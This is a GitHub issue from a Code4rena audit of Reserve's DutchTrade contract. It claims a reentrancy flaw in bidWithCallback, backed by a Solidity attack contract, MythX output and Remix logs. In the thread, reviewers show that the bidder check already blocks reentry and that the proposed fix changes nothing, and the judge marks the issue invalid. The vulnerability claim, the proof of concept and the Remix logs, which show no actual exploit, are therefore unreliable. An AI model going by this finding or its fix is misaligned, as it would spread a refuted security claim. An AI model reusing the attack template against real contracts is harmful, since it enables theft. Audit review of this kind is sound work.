search

code-423n4 / 2024-07-reserve-findings

5 stars 4 forks source link

Reentrancy Vulnerability in bidWithCallback(bytes) in the DutchTrade contract #115

Closed howlbot-integration[bot] closed 3 months ago

howlbot-integration[bot] commented 3 months ago

Lines of code

https://github.com/code-423n4/2024-07-reserve/blob/3f133997e186465f4904553b0f8e86ecb7bbacbf/contracts/plugins/trading/DutchTrade.sol#L235-L269

Vulnerability details

Impact

Detailed description of the impact of this finding.

Reentrancy Vulnerability in bidWithCallback(bytes) in the DutchTrade contract

Contract: DutchTrade Function Name: bidWithCallback(bytes) PC Address: 16558 File: /contracts/plugins/trading/DutchTrade.sol Severity Level: High Issue Type: Reentrancy Vulnerability Estimated Gas Usage: 2328 - 3273

The bidWithCallback(bytes) function in the DutchTrade contract is vulnerable to a reentrancy attack.

This vulnerability arises from the fact that the function makes an external call to the user-defined dutchTradeCallback function before performing critical state changes or settling the trade.

This allows a malicious bidder to reenter the contract during the callback and execute additional bids, which could manipulate the auction or cause unintended state changes.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

An attacker can exploit this vulnerability to:

  1. Reenter the bidWithCallback(bytes) function, causing unexpected state changes, including manipulating the auction to their advantage.

  2. Drain tokens from the contract by placing multiple bids within the same transaction, potentially at manipulated prices.

  3. Disrupt the auction process, resulting in financial loss or denial of service for other participants.

contract MaliciousBidder is IDutchTradeCallee {
    DutchTrade public auction;

    constructor(DutchTrade _auction) {
        auction = _auction;
    }

    function dutchTradeCallback(address buyToken, uint256 buyAmount, bytes calldata data) external override {
        // Reenter the auction and place another bid
        auction.bidWithCallback("");
    }

    function attack() external {
        // Initiate the attack by calling bidWithCallback
        auction.bidWithCallback("");
    }
}

In this proof of concept, the MaliciousBidder contract reenters the DutchTrade contract by calling bidWithCallback within the dutchTradeCallback function, allowing it to place multiple bids within the same transaction.

MythX log

/2024-07-reserve/contracts/plugins/trading/DutchTrade.sol:237

bidWithCallback(bytes)
assert(status == TradeStatus.OPEN)

--------------------
Initial State:

Account: [CREATOR], balance: 0x0, nonce:0, storage:{}
Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded_data: , value: 0x0
Caller: [ATTACKER], function: bidWithCallback(bytes), txdata: 0xd5557c040000000000000000000000000000000000000000000000000000000000000000, decoded_data: ('',), value: 0x0

POC - Remix IDE Step 1: Malicious Contract Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./DutchTrade.sol";
import "../../../node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract MaliciousBidder is IDutchTradeCallee {
    DutchTrade public auctionContract;
    IERC20 public buyToken;
    bool public attackInitiated = false;

    constructor(DutchTrade _auctionContract, IERC20 _buyToken)  payable {
        auctionContract = _auctionContract;
        buyToken = _buyToken;
    }

    // This is the callback function that will be called by the DutchTrade contract
    function dutchTradeCallback(
        address buyTokenAddress,
        uint256 amountIn,
        bytes calldata data
    )  external   {
        // Perform the reentrancy attack
        if (!attackInitiated) {
            attackInitiated = true;

            // Re-enter the bidWithCallback function
            auctionContract.bidWithCallback(data);
        }
    }

    // This function is used to start the attack
    function initiateAttack(bytes calldata data) external payable  {
        // Assuming this contract has already been funded with enough buyToken
        buyToken.approve(address(auctionContract), type(uint256).max);

        // Initiate the first bid, which will trigger the callback and the reentrancy
        auctionContract.bidWithCallback(data);
    }

    // Fallback function to receive any leftover tokens
    receive() external payable {}
}

Step 2: Explanation

1.  Setting Up:
•   The MaliciousBidder contract is set up with a reference to the DutchTrade contract it wants to attack and the token it wants to use for the purchase (buyToken).
2.  dutchTradeCallback Function:
•   This is the callback function that the DutchTrade contract will call during the execution of bidWithCallback.
•   Inside this function, the attacker checks if the attack has already been initiated. If not, it sets attackInitiated to true and re-enters the bidWithCallback function on the DutchTrade contract.
3.  initiateAttack Function:
•   This function starts the attack. It first approves the DutchTrade contract to spend the attacker’s tokens and then calls bidWithCallback, which triggers the dutchTradeCallback function and starts the reentrancy loop.

Step 3: Using the Malicious Contract in Remix

1.  Deploy the DutchTrade Contract:
•   First, deploy the DutchTrade contract in Remix IDE.
2.  Deploy the MaliciousBidder Contract:
•   Deploy the MaliciousBidder contract with the address of the DutchTrade contract and the buy token.
3.  Fund the MaliciousBidder Contract:
•   Make sure to transfer enough of the buy token to the MaliciousBidder contract so that it can perform the bid.
4.  Initiate the Attack:
•   Call the initiateAttack function from the MaliciousBidder contract. This should trigger the reentrancy attack and potentially cause the DutchTrade contract to behave unexpectedly.

Remix IDE Log: Call Dutch trade callback function

transact to MaliciousBidder.dutchTradeCallback pending ... 
[vm]from: 0x5B3...eddC4to: IAsset.(fallback) 0x5B3...eddC4value: 1000000000000000000 weidata: 0x1da...00000logs: 0hash: 0x703...89f86
status  0x1 Transaction mined and execution succeed
transaction hash    0x703adc12a24cc8a61169088dddbf952cc0626832c3ab8588594d02cecbb89f86
block hash  0x6ca0bae082c2810691a62714c6a2324458ba73e8349a6cf1b781cca4404a8734
block number    29
from    0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to  IAsset.(fallback) 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
gas 999990000000000000 gas
transaction cost    22156 gas 
input   0x1da...00000
decoded input   -
decoded output   - 
logs    []
raw logs    []
value   1000000000000000000 wei

Call initiate attack function

transact to MaliciousBidder.initiateAttack pending ... 
[vm]from: 0x5B3...eddC4to: IAsset.(fallback) 0x5B3...eddC4value: 1000000000000000000 weidata: 0x660...00000logs: 0hash: 0x700...34dd1
status  0x1 Transaction mined and execution succeed
transaction hash    0x70093ff37ba59d1f6f6f3b74e018fa7eb0645387562a4d479cefe4f682a34dd1
block hash  0xabc8fe8260b3ddf19348b5fdc96c4d25032194b070479b328710b9599da4112b
block number    30
from    0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to  IAsset.(fallback) 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
gas 999990000000000000 gas
transaction cost    21648 gas 
input   0x660...00000
decoded input   -
decoded output   - 
logs    []
raw logs    []
value   1000000000000000000 wei

Call Receive Fallback Function

transact to MaliciousBidder.(receive) pending ... 
[vm]from: 0x5B3...eddC4to: IAsset.(fallback) 0x5B3...eddC4value: 1000000000000000000 weidata: 0xlogs: 0hash: 0xdb4...d38cc
status  0x1 Transaction mined and execution succeed
transaction hash    0xdb4ca32879e807722cb9af6ee7d4d0fdd4608ba9e2281565525d92aa148d38cc
block hash  0xf2242506d962db26a5ed0b20e6a3f17a2832633118a093d660fc39b5e622777b
block number    31
from    0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to  IAsset.(fallback) 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
gas 999990000000000000 gas
transaction cost    21000 gas 
input   0x
decoded input   -
decoded output   - 
logs    []
raw logs    []
value   1000000000000000000 wei

Tools Used

Manual review & MythX & Remix IDE.

Recommended Mitigation Steps

To prevent reentrancy attacks, the state of the contract should be updated before making any external calls, including the call to dutchTradeCallback.

Additionally, the use of a reentrancy guard is recommended to ensure that no reentrant calls can be made during the execution of sensitive functions.

Coded Mitigation:

function bidWithCallback(bytes calldata data) external returns (uint256 amountIn) {
    require(bidder == address(0), "bid already received");
    assert(status == TradeStatus.OPEN);

    // Update state before making external calls
    bidder = msg.sender;
    bidType = BidType.CALLBACK;

    // {buyTok/sellTok}
    uint192 price = _price(uint48(block.timestamp)); // enforces auction ongoing

    // {qBuyTok}
    amountIn = _bidAmount(price);

    // reportViolation if auction cleared in geometric phase
    if (price > bestPrice.mul(ONE_POINT_FIVE, CEIL)) {
        broker.reportViolation();
    }

    // Transfer sell tokens to bidder
    sell.safeTransfer(bidder, lot()); // {qSellTok}

    uint256 balanceBefore = buy.balanceOf(address(this)); // {qBuyTok}
    IDutchTradeCallee(bidder).dutchTradeCallback(address(buy), amountIn, data);
    require(
        amountIn <= buy.balanceOf(address(this)) - balanceBefore,
        "insufficient buy tokens"
    );

    // Settle the trade after all external calls
    origin.settleTrade(sell);

    // Ensure the contract is closed after settlement
    assert(status == TradeStatus.CLOSED);
}

By updating the state before making external calls and using a reentrancy guard pattern, the vulnerability is mitigated, preventing potential reentrancy attacks.

Assessed type

Reentrancy

tbrent commented 3 months ago

Cannot replicate the reentrancy PoC -- can see by inspection very quickly that bidWithCallback is not vulnerable in the way described:

    function bidWithCallback(bytes calldata data) external returns (uint256 amountIn) {
        require(bidder == address(0), "bid already received");
        assert(status == TradeStatus.OPEN);

        // {buyTok/sellTok}
        uint192 price = _price(uint48(block.timestamp)); // enforces auction ongoing

        // {qBuyTok}
        amountIn = _bidAmount(price);

        // Mark bidder
        bidder = msg.sender;
        bidType = BidType.CALLBACK;
        ...

_price() and _bidAmount() are view functions

Additionally, can see that warden's mitigation does not change the CEI pattern meaningfully; the callback remains below the effects section in both cases.

thereksfour commented 3 months ago

  1. require(bidder == address(0)) and bidder=msg.sender effectively prevents reentrancy.

    function bidWithCallback(bytes calldata data) external returns (uint256 amountIn) {
    require(bidder == address(0), "bid already received");
    assert(status == TradeStatus.OPEN);

    // {buyTok/sellTok}
    uint192 price = _price(uint48(block.timestamp)); // enforces auction ongoing

    // {qBuyTok}
    amountIn = _bidAmount(price);

    // Mark bidder
    bidder = msg.sender;

    // Mark bidder
    bidder = msg.sender;
  2. The mitigation move bidder = msg.sender before _price() and _bidAmount(). But _price() and _bidAmount() are view functions, which doesn't do anything to mitigate "reentrancy".
c4-judge commented 3 months ago

thereksfour marked the issue as unsatisfactory: Invalid